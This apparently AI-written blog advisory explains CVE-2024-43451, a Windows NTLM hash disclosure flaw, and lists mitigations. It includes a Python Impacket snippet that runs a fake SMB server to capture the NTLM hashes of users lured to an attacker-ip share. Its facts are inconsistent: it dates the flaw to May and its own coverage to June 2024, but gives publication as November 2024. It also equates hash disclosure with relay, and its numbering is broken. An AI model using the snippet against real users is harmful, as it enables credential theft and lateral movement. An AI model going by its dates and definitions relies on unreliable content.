On May 2024, a new vulnerability tracked as CVE-2024-43451 made headlines in the security community. This vulnerability affects Microsoft Windows and revolves around the unintentional disclosure and spoofing of NTLM hashes, a critical flaw that could allow attackers to steal credentials and launch further attacks inside corporate networks.

In this article, we’ll break down what CVE-2024-43451 is all about, how attackers can exploit it, and what you can do to protect your systems.

What is CVE-2024-43451?

CVE-2024-43451 is a vulnerability found in how certain Windows applications or services handle authentication requests using the NTLM protocol. NTLM (NT LAN Manager) is an authentication mechanism used by Windows for network logins, SMB shares, and more. Many organizations still rely on it for backwards compatibility.

The vulnerability allows a remote attacker to trick a user into sending their NTLM authentication hash to a malicious server. This can lead to NTLM hash disclosure (also known as NTLM relay or credential forwarding), enabling the attacker to impersonate the victim on the internal network, access resources, or launch further attacks.

Let’s break it down

1. Attacker tricks the target: This is usually done by getting the user to click a specially crafted link—formatted as file://, \\evil-server\share, or similar—via email, chat, or a malicious website.
2. Windows tries to authenticate: When the user's system tries to access the resource, Windows automatically supplies the user's NTLM authentication hash to the server to check permissions.
3. Attacker receives the hash: The attacker’s server collects the hash and can attempt to crack it offline, or use it immediately in an NTLM relay attack against other services in the organization (like SMB, LDAP, or HTTP).

Example Exploit in Action

Here’s a simple code snippet using Python’s Impacket library to set up a fake SMB server that collects hashes:

from impacket.examples.smbserver import SimpleSMBServer

server = SimpleSMBServer(listenAddress='...', listenPort=445)
server.addShare('SHARE', '/tmp')
print("Listening for connections on SMB port 445...")
server.start()

If a target visits \\attacker-ip\SHARE, their Windows system will automatically attempt to authenticate, revealing the user’s NTLM hash to the attacker.

- Microsoft Security Update Guide for CVE-2024-43451
- Impacket Toolkit - Fortra
- NTLM Authentication Protocol on Microsoft Docs

Who is Vulnerable?

Any supported version of Windows prior to the patched update is potentially vulnerable—especially if NTLM authentication is enabled and users or applications can be tricked into connecting to attacker-controlled resources. Environments using legacy protocols and those that do not block outbound SMB or WebDAV may be especially at risk.

Credential Theft: Attackers steal password hashes which can be cracked offline.

2. Lateral Movement: Attackers use captured hashes for pass-the-hash or NTLM relay attacks, gaining further access on the corporate network.
3. Privilege Escalation: If an administrator’s credentials are captured, attackers could gain full control of your environment.

How to Protect Yourself

- Apply Patches: Microsoft released security updates to fix this. Check the official advisory for updates.

Disable NTLM Where Possible: Use Kerberos authentication or disable NTLM if not needed.

- Block Outbound SMB/WebDAV Traffic: Prevent your systems from connecting to unknown/untrusted network shares by blocking ports 445/139 (SMB) and 80/443/808 (WebDAV).
- User Awareness: Educate users to avoid clicking suspicious links, especially those starting with file:// or \\.
- Monitor for Suspicious Traffic: Use network monitoring to detect and alert on unexpected connections to external SMB/WebDAV servers.

Conclusion

CVE-2024-43451 is a powerful reminder that legacy protocols like NTLM remain a risky part of the Windows ecosystem. The best defense is keeping systems fully patched, disabling legacy authentication where you can, and making sure your users and network are secure against these kinds of attacks.

Stay updated with Microsoft advisories and make NTLM phase-out part of your long-term security strategy.


*Exclusive coverage by AI, June 2024. For questions or in-depth technical queries, explore Microsoft’s official advisories or connect with your security vendors.*

Timeline

Published on: 11/12/2024 18:15:22 UTC
Last modified on: 11/16/2024 23:40:18 UTC